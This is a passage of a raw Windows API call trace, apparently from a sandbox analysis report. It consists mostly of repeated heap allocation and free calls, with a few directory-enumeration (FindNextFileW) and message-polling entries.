| out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1 [0272.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307faa8 [0272.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307fb70 [0272.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa8) returned 0x3056730 [0272.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115858 [0272.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd0) returned 0x303cea8 [0272.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307fdc8 [0272.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307fe90 [0272.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x303d058 | out: hHeap=0x640000) returned 1 [0272.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307fd00 | out: hHeap=0x640000) returned 1 [0272.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307fc38 | out: hHeap=0x640000) returned 1 [0272.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082288 | out: hHeap=0x640000) returned 1 [0272.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307fc38 [0272.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307fb70 | out: hHeap=0x640000) returned 1 [0272.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0272.382] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1 [0272.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307faa8 [0272.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307fb70 [0272.382] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307fd00 [0272.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307fb70 | out: hHeap=0x640000) returned 1 [0272.382] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307faa8 | out: hHeap=0x640000) returned 1 [0272.382] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0 [0272.382] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0272.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054800 | out: hHeap=0x640000) returned 1 [0272.383] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054800 [0272.383] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.383] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.383] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.384] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.384] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.385] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.385] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.386] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.386] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.387] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.388] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.388] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.389] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.389] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.390] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.390] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.391] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.391] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.392] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054970 [0272.392] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 